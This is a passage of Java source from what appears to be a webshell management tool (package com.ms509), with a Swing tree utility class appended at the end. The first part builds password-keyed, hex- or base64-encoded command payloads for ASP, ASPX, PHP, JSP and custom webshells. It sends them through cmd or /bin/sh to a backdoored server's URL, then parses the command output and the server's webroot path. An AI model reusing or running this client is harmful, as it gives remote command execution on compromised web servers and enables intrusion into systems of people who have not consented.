CheckCMDPath(z1); 91 | z2 = z2.replace("\n", ""); 92 | z2 = z2.replace("\r", ""); 93 | 94 | String tmp = ""; 95 | z1 = toHexString(z1); 96 | z2 = toHexString(z2); 97 | tmp = z1 + "&"+Safe.PARAM2+"=" + z2; 98 | String payload = Safe.ASP_SHELL.replace("PARAM1", Safe.PARAM1).replace("PARAM2", Safe.PARAM2); 99 | String make = Safe.ASP_MAKE.replace("PAYLOAD", toHexString(payload)); 100 | String params = Safe.PASS + "=" + make + "&" + Safe.PARAM1 + "=" + tmp; 101 | String[] index_datas = Common.send(url, params, code).split("\t"); 102 | try { 103 | re[0] = Arrays.toString(index_datas); 104 | re[0] = re[0].substring(re[0].indexOf("[") + 1, re[0].indexOf("[S]")); 105 | String path = Arrays.toString(index_datas).substring(Arrays.toString(index_datas).indexOf("[S]") + 3, 106 | Arrays.toString(index_datas).indexOf("[E]")); 107 | re[1] = path; 108 | } catch (Exception e) { 109 | 110 | } 111 | //System.out.println(params); 112 | return re; 113 | } 114 | 115 | // aspx 命令执行 116 | private String[] execute_aspx(String command) { 117 | 118 | String re[] = new String[2]; 119 | // String z1 = null; 120 | // String z2 = null; 121 | String tmp = ""; 122 | String aspx_shell = Safe.ASPX_SHELL.replace("PARAM1", Safe.PARAM1).replace("PARAM2", Safe.PARAM2); 123 | String make = Safe.ASPX_MAKE.replace("PAYLOAD", aspx_shell); 124 | String params = null; 125 | 126 | switch (os) { 127 | 128 | case 1: 129 | z1 = "cmd"; 130 | z2 = "cd" + " " + "/d" + " \"" + pa + "\"&" + command + "&echo [S]&cd&echo [E]"; 131 | break; 132 | case 2: 133 | z1 = "/bin/sh"; 134 | z2 = "cd" + " " + "\"" + pa + "\";" + command + ";echo [S];pwd;echo [E]"; 135 | break; 136 | default: 137 | break; 138 | } 139 | z1 = CheckCMDPath(z1); 140 | z2 = z2.replace("\n", ""); 141 | z2 = z2.replace("\r", ""); 142 | try { 143 | tmp = URLEncoder.encode(z1, code) + "&"+Safe.PARAM2+"=" + URLEncoder.encode(z2, code); 144 | } catch (UnsupportedEncodingException e) { 145 | // TODO Auto-generated catch block 146 | e.printStackTrace(); 147 | } 148 | params = Safe.PASS + "=" + make + "&" + Safe.PARAM1 + "=" + tmp; 149 | String[] index_datas = Common.send(url, params, code).split("\t"); 150 | re[0] = Arrays.toString(index_datas); 151 | re[0] = re[0].substring(re[0].indexOf("[") + 1, re[0].indexOf("[S]")); 152 | String path = Arrays.toString(index_datas).substring(Arrays.toString(index_datas).indexOf("[S]") + 3, 153 | Arrays.toString(index_datas).indexOf("[E]")); 154 | re[1] = path; 155 | return re; 156 | 157 | } 158 | 159 | // php 命令执行 160 | private String[] execute_php(String command) { 161 | String re[] = new String[2]; 162 | //String z1 = null; 163 | //String z2 = null; 164 | String tmp = null; 165 | String params = null; 166 | switch (os) { 167 | case 1: 168 | z1 = "cmd"; 169 | z2 = "cd" + "/d" + "\"" + pa + "\"&" + command + "&echo [S]&cd&echo [E]"; 170 | break; 171 | case 2: 172 | z1 = "/bin/sh"; 173 | z2 = "cd" + " " + "\"" + pa + "\";" + command + ";echo [S];pwd;echo [E]"; 174 | break; 175 | default: 176 | break; 177 | } 178 | z1 = CheckCMDPath(z1); 179 | 180 | z2 = z2.replace("\n", ""); 181 | z2 = z2.replace("\r", ""); 182 | byte[] z12 = null; 183 | byte[] z22 = null; 184 | try { 185 | z12 = z1.getBytes("utf-8"); 186 | z22 = z2.getBytes("utf-8"); 187 | } catch (UnsupportedEncodingException e) { 188 | // TODO Auto-generated catch block 189 | e.printStackTrace(); 190 | } 191 | tmp = (new BASE64Encoder().encode(z12)).toString() + "&"+Safe.PARAM2+"=" + (new BASE64Encoder().encode(z22)).toString(); 192 | params = Common.makeParams(Safe.PHP_MAKE, Safe.PHP_SHELL, tmp); 193 | String[] index_datas = Common.send(url, params, code).split("\t"); 194 | String result = null; 195 | result = Arrays.toString(index_datas); 196 | re[0] = result.substring(result.indexOf("[") + 1, result.indexOf("[S]")); 197 | re[1] = Arrays.toString(index_datas).substring(Arrays.toString(index_datas).indexOf("[S]") + 3, 198 | Arrays.toString(index_datas).indexOf("[E]")); 199 | return re; 200 | } 201 | 202 | // jsp 命令执行 203 | private String[] execute_jsp(String command) { 204 | String re[] = new String[2]; 205 | // String z1 = null; 206 | // String z2 = null; 207 | String tmp = null; 208 | String params = null; 209 | switch (os) { 210 | case 1: 211 | z1 = "/ccmd"; 212 | z1 = CheckCMDPath(z1); 213 | if(!z1.equals("/ccmd")) 214 | {z1="/c"+z1;} 215 | z2 = "cd" + " " + "/d " + "\"" + pa + "\"&" + command + "&echo [S]&cd&echo [E]"; 216 | break; 217 | case 2: 218 | z1 = "-c/bin/sh"; 219 | z1 = CheckCMDPath(z1); 220 | if(!z1.equals("-c/bin/sh")) 221 | {z1="/c"+z1;} 222 | z2 = "cd" + " " + "\"" + pa + "\";" + command + ";echo [S];pwd;echo [E]"; 223 | break; 224 | default: 225 | break; 226 | } 227 | 228 | z2 = z2.replace("\n", ""); 229 | z2 = z2.replace("\r", ""); 230 | byte[] z12 = null; 231 | byte[] z22 = null; 232 | try { 233 | z12 = z1.getBytes("utf-8"); 234 | z22 = z2.getBytes("utf-8"); 235 | } catch (UnsupportedEncodingException e) { 236 | // TODO Auto-generated catch block 237 | e.printStackTrace(); 238 | } 239 | 240 | try { 241 | tmp = URLEncoder.encode(z1, code) + "&"+Safe.PARAM2+"=" + URLEncoder.encode(z2, code); 242 | } catch (UnsupportedEncodingException e2) { 243 | // TODO Auto-generated catch block 244 | e2.printStackTrace(); 245 | } 246 | params = Common.makeParams(Safe.JSP_MAKE, Safe.JSP_SHELL, tmp); 247 | params = params + "&code=" + code; 248 | String[] index_datas = Common.send(url, params, code).split("\t"); 249 | String result = null; 250 | result = Arrays.toString(index_datas); 251 | re[0] = result.substring(result.indexOf("[") + 1, result.indexOf("[S]")); 252 | if(result.indexOf("[E]")+3<(result.length()-1)) 253 | { 254 | String erroroutput = result.substring(result.indexOf("[E]") + 3, (result.length()-1)); 255 | re[0] = re[0] + erroroutput; 256 | } 257 | re[1] = Arrays.toString(index_datas).substring(Arrays.toString(index_datas).indexOf("[S]") + 3, 258 | Arrays.toString(index_datas).indexOf("[E]")); 259 | return re; 260 | } 261 | private String[] execute_cus(String command) { 262 | String re[] = new String[2]; 263 | 264 | String tmp = null; 265 | String params = null; 266 | switch (os) { 267 | case 1: 268 | z1 = "cmd"; 269 | //z2 = "cd" + " " + "/d " + "\"" + pa + "\"&" + command + "&echo [S]&cd&echo [E]"; 270 | break; 271 | case 2: 272 | z1 = "/bin/sh"; 273 | //z2 = "cd" + " " + "\"" + pa + "\";" + command + ";echo [S];pwd;echo [E]"; 274 | break; 275 | default: 276 | break; 277 | } 278 | z1 = CheckCMDPath(z1); 279 | z2 = command; 280 | z2 = z2.replace("\n", ""); 281 | z2 = z2.replace("\r", ""); 282 | //params = Common.makeParams(Safe.CUS_MAKE, Safe.CUS_SHELL,URLEncoder.encode(z1),URLEncoder.encode(z2),URLEncoder.encode(pa)); 283 | params = Safe.PASS+"=1&"+Safe.ACTION+"="+Safe.CUS_SHELL+"&"+Safe.PARAM1+"="+URLEncoder.encode(z1)+"&"+Safe.PARAM2+"=" 284 | +URLEncoder.encode(z2)+"&"+Safe.PARAM3+"="+URLEncoder.encode(pa); 285 | String[] index_datas = Common.send(url, params, code).split("\t"); 286 | String result = Arrays.toString(index_datas); 287 | String spl = Safe.CUS_SHELL_SPL; 288 | String spr = Safe.CUS_SHELL_SPR; 289 | re[0] = result.substring(result.indexOf("[") + 1, result.indexOf(spl)); 290 | re[1] = Arrays.toString(index_datas).substring(Arrays.toString(index_datas).indexOf(spl) + spl.length(), 291 | Arrays.toString(index_datas).indexOf(spr)); 292 | return re; 293 | } 294 | 295 | 296 | 297 | public void SetCMD(String cmdpath) 298 | { 299 | cus_z1 = cmdpath; 300 | } 301 | public String CheckCMDPath(String z) //检查cmd是否有自定义路径 302 | { 303 | if(cus_z1.equals("")) 304 | { 305 | return z; 306 | }else 307 | { 308 | return cus_z1; 309 | } 310 | } 311 | public String GetPath() { 312 | String path = ""; 313 | String path_index = ""; 314 | String params = ""; 315 | //System.out.println(type); 316 | try { 317 | switch (type) { 318 | case 0: 319 | params = Common.makeParams(Safe.JSP_MAKE, Safe.JSP_INDEX) + "&code=" + this.code; 320 | break; 321 | case 1: 322 | params = Common.makeParams(Safe.PHP_MAKE, Safe.PHP_INDEX); 323 | break; 324 | case 2: 325 | String tmp = Safe.ASP_MAKE; 326 | path_index = tmp.replace("PAYLOAD", Safe.ASP_INDEX); 327 | params = Safe.PASS + "=" + path_index; 328 | break; 329 | case 3: 330 | path_index = Safe.ASPX_MAKE.replace("PAYLOAD", Safe.ASPX_INDEX); 331 | try { 332 | params = Safe.PASS + "=" + URLEncoder.encode(path_index, code); 333 | } catch (UnsupportedEncodingException e) { 334 | // TODO Auto-generated catch block 335 | e.printStackTrace(); 336 | } 337 | break; 338 | case 4: //cus模式 339 | //path_index = Common.makeParams(Safe.CUS_MAKE, Safe.CUS_INDEX); 340 | params = Safe.PASS + "=1&action="+Safe.CUS_SHELL+"&"+Safe.PARAM1+"="+"&"+Safe.PARAM2+"="; 341 | break; 342 | } 343 | 344 | } catch (Exception e) { 345 | e.printStackTrace(); 346 | } 347 | String[] index_datas = Common.send(url, params, code).split("\t"); 348 | String webroot = index_datas[0]; 349 | pa = webroot; 350 | if (webroot.contains(":")) // windows系统 351 | { 352 | Safe.SYSTEMSP = "\\"; 353 | if (!pa.substring(pa.length() - 1, pa.length()).equals("\\")) { 354 | pa = pa + "\\"; 355 | } 356 | if(pa.indexOf("HTTP/1.")<0) 357 | { 358 | pa = pa.replace("/", "\\"); 359 | } 360 | //pa = pa +""; 361 | os = 1; 362 | z1 = "cmd"; //设置cmd初始化路径 363 | } else // linux系统 364 | { 365 | 366 | // String[] tmp = webroot.split("/"); 367 | Safe.SYSTEMSP = "/"; 368 | if (!pa.substring(pa.length() - 1, pa.length()).equals("/")) { 369 | pa = pa + "/"; 370 | } 371 | pa = pa.replace("\t", ""); 372 | //pa = "["+pa+"]$"; 373 | os = 2; 374 | z1 = "/bin/sh"; //设置cmd初始化路径 375 | } 376 | SimpleAttributeSet a = new SimpleAttributeSet(); 377 | StyleConstants.setForeground(a, Color.WHITE); 378 | StyleConstants.setFontSize(a, 10); 379 | return pa; 380 | 381 | } 382 | 383 | // 16进制 转换 384 | private String toHexString(String s) { 385 | String str = ""; 386 | try { 387 | byte[] b = s.getBytes(code); 388 | // String k = new String(b,"GBK"); 389 | // byte[] b = k.getBytes(); 390 | // String str = " "; 391 | for (int i = 0; i < b.length; i++) { 392 | Integer I = new Integer(b[i]); 393 | String strTmp = I.toHexString(b[i]); 394 | // System.out.println(strTmp.length()); 395 | if (strTmp.length() > 2) 396 | strTmp = strTmp.substring(strTmp.length() - 2); 397 | str = str + strTmp; 398 | } 399 | // System.out.println(str.toUpperCase()); 400 | } catch (Exception e) { 401 | e.printStackTrace(); 402 | } 403 | return str; 404 | } 405 | // 406 | } -------------------------------------------------------------------------------- /src/com/ms509/util/TreeMethod.java: -------------------------------------------------------------------------------- 1 | package com.ms509.util; 2 | 3 | import java.util.ArrayList; 4 | import java.util.Enumeration; 5 | 6 | import javax.swing.JTree; 7 | import javax.swing.tree.DefaultMutableTreeNode; 8 | import javax.swing.tree.DefaultTreeModel; 9 | import javax.swing.tree.DefaultTreeSelectionModel; 10 | import javax.swing.tree.TreeNode; 11 | import javax.swing.tree.TreePath; 12 | import javax.swing.tree.TreeSelectionModel; 13 | 14 | import com.ms509.ui.MainFrame; 15 | import com.ms509.ui.panel.FileManagerPanel; 16 | 17 | public class TreeMethod { 18 | 19 | public static String makePath(TreePath tp) { 20 | 21 | String[] deal = tp.toString().substring(1, tp.toString().length() - 1) 22 | .split(", "); 23 | String path = ""; 24 | for (String tmp : deal) { 25 | path = path + tmp + Safe.SYSTEMSP; 26 | } 27 | return path.substring(1, path.length()); 28 | } 29 | 30 | public static void makeIndexTree(String paths[], String[] adds, 31 | DefaultMutableTreeNode root,JTree tree) { 32 | DefaultMutableTreeNode node = root; 33 | root.setAllowsChildren(true); 34 | int i; 35 | for (i = 0; i < paths.length; i++) { 36 | if (!paths[i].equals("")) { 37 | DefaultMutableTreeNode tmp = new DefaultMutableTreeNode( 38 | paths[i]); 39 | node.add(tmp); 40 | node = tmp; 41 | if (i == paths.length - 1) { 42 | for (String add : adds) { 43 | DefaultMutableTreeNode dmtn = new DefaultMutableTreeNode(add); 44 | dmtn.setAllowsChildren(false); 45 | node.add(new DefaultMutableTreeNode(dmtn)); 46 | } 47 | } 48 | } 49 | } 50 | // 根目录获得焦点 51 | DefaultTreeSelectionModel dsmodel = new DefaultTreeSelectionModel(); 52 | dsmodel.setSelectionMode(TreeSelectionModel.SINGLE_TREE_SELECTION); 53 | dsmodel.setSelectionPath(new TreePath(node.getPath())); 54 | tree.setSelectionModel(dsmodel); 55 | } 56 | 57 | public static void addTree(String[] trees, DefaultMutableTreeNode parent, 58 | DefaultTreeModel model) { 59 | ArrayList al = new ArrayList(); 60 | for (Enumeration e = parent.children(); e.hasMoreElements();) { 61 | DefaultMutableTreeNode n = (DefaultMutableTreeNode) e.nextElement(); 62 | al.add(n.getUserObject().toString()); 63 | } 64 | 65 | for (String tree : trees) { 66 | if (!al.contains(tree)) { 67 | DefaultMutableTreeNode tmp = new DefaultMutableTreeNode(tree); 68 | tmp.setAllowsChildren(false); 69 | model.insertNodeInto(tmp, parent, parent.getChildCount()); 70 | } 71 | } 72 | } 73 | 74 | public static void expandAll(JTree tree, TreePath parent, boolean expand) { 75 | TreeNode node = (TreeNode) parent.getLastPathComponent(); 76 | if (node.getChildCount() >= 0) { 77 | for (Enumeration e = node.children(); e.hasMoreElements();) { 78 | TreeNode n = (TreeNode) e.nextElement(); 79 | TreePath path = parent.pathByAddingChild(n); 80 | expandAll(tree, path, expand); 81 | } 82 | } 83 | if (expand) { 84 | // tree.expandPath(parent); 85 | tree.scrollPathToVisible(parent); 86 | } else { 87 | tree.collapsePath(parent); 88 | } 89 | } 90 | 91 | public static DefaultMutableTreeNode searchNode( 92 | DefaultMutableTreeNode root, String name) { 93 | DefaultMutableTreeNode node = null; 94 | Enumeration e = root.breadthFirstEnumeration(); 95 | while (e.hasMoreElements()) { 96 | node = (DefaultMutableTreeNode) e.nextElement(); 97 | if (name.equalsIgnoreCase(node.getUserObject().toString())) { 98 | return node; 99 | } 100 | } 101 | return null; 102 | } 103 | } --------------------------------------------------------------------------------